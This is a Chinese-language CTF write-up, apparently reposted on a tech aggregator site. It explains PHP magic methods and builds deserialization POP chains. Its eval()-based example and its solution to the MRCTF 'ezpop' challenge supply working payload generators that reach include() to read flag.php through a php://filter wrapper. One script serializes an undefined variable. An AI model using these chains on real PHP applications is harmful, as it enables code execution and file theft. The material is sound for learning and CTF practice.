IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 由MRCTF学习php反序列化--pop链的构造 -> 正文阅读

[PHP知识库]由MRCTF学习php反序列化--pop链的构造

前言

复现地址:BUUCTF平台
题目:MRCTF-ezpop

魔法函数

__construct():具有构造函数的类在创建新对象时,回调用此方法
__destruct():在对象所有引用都被删除或者对象被销毁时执行
__wakeup():使用unserialize()函数时调用
__sleep():使用serialize()函数时调用
__toString():把类当作字符串时调用,一般在echoprint时才能生效
__invoke():当尝试以调用函数的方式调用对象时,就会调用方法
__set():在给不可访问(protectedprivate)或不存在的属性赋值时, 会被调用
__get():读取不可访问(protectedprivate)或不存在的属性的值时,会被调用
__isset():当对不可访问(protectedprivate)或不存在的属性调用 isset()empty() 时,会被调用
__unset():当对不可访问(protectedprivate)或不存在的属性调用 unset(),会被调用
__call():在对象中调用一个不可访问方法时,__call() 会被调用
__callStatic():在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。

__toString()

<?php
// Declare a simple class
class TestClass
{
    public $foo;
    public function __construct($foo) 
    {
        $this->foo = $foo;
    }
    public function __toString() {
        return $this->foo;
    }
}
$class = new TestClass('Hello');
echo $class;
?>class对象被echo时,就会输出调用此方法
注意:PHP 5.2.0 之前,__toString() 方法只有在直接使用于 echoprint 时才能生效。PHP 5.2.0 之后,则可以在任何字符串环境生效(例如通过 printf(),使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。

__invoke()

<?php
class CallableClass 
{
    function __invoke($x) {
        var_dump($x);
    }
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>
输出:int(5)
bool(true)

__call()和__callStatic()

<?php
class MethodTest 
{
    public function __call($name, $arguments) 
    {
        // 注意: $name 的值区分大小写
        echo "Calling object method '$name' "
             . implode(', ', $arguments). "\n";
    }

    public static function __callStatic($name, $arguments) 
    {
        // 注意: $name 的值区分大小写
        echo "Calling static method '$name' "
             . implode(', ', $arguments). "\n";
    }
}

$obj = new MethodTest;
$obj->runTest('in object context');

MethodTest::runTest('in static context');
?>
输出
Calling object method 'runTest' in object context
Calling static method 'runTest' in static context

pop链

反序列化可以去控制类的属性和方法,所以通过反序列化可以改变程序原本的意思

pop链的利用
一般简单的反序列化都是魔法函数中出现的一些利用的漏洞,因为自动去调用魔法方法而产生漏洞,但如果关键代码不在魔术方法中,而在一个类的一个普通方法中,则需要通过寻找相同的函数名将类的属性和敏感函数连接起来

一个简单的例子

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

lemon这个类原本是调用,normal类的,但是现在需要调用evil中的eval实现命令执行。而action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法,从而实现命令执行。
payload

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
注意protectedprivate属性的处理。

MRCTF-ezpop

源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5
%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

我们逆向分析,需要调用Modifier中的include函数,实现对flag.php的包含
采用php://filter/read=convert.base64-encode/resource=flag.php

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

需要append函数,就要__invoke函数,当我们尝试将对象调用为函数时,就会自动包含$var,所以也要对$var进行处理

Test类,看到__get(),当我们访问不可访问的属性时,就会调用__get()方法中的$p,这时,我们可以使用$p来引入Modifier类

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

怎么才可以实现访问不可访问的属性呢?
Show类

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

show中__toString()属性,可以访问自身属性str的source。
所以我们使用show中的str属性来new一个Test类,而Test类没有source属性,就可以达到__get()方法的实现。
关键代码:return $this->str->source;

那么我们new的Test就会以函数的方式调用 p 那 么 如 果 p那么如果 pp又是一个Modifier类,就会自动包含$var指向的页面。

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$pop = new Show;
$pop->source = new Show;
$pop->source->str = new Test;
$pop->source->str->p = new Modifier;
echo urlencode(serialize($poc));
$pop->source = new Show;
//为什么要new show两次?
//触发__toString(),source被第一层show当作字符串,于是访问source->str->source,也就是Test里面的source(不存在),触发__get

还有个payload,y4爷的

<?php
ini_set('memory_limit','-1');
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        $this->str = new Test();
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-10 10:38:00  更:2021-09-10 10:38:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 18:20:28-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计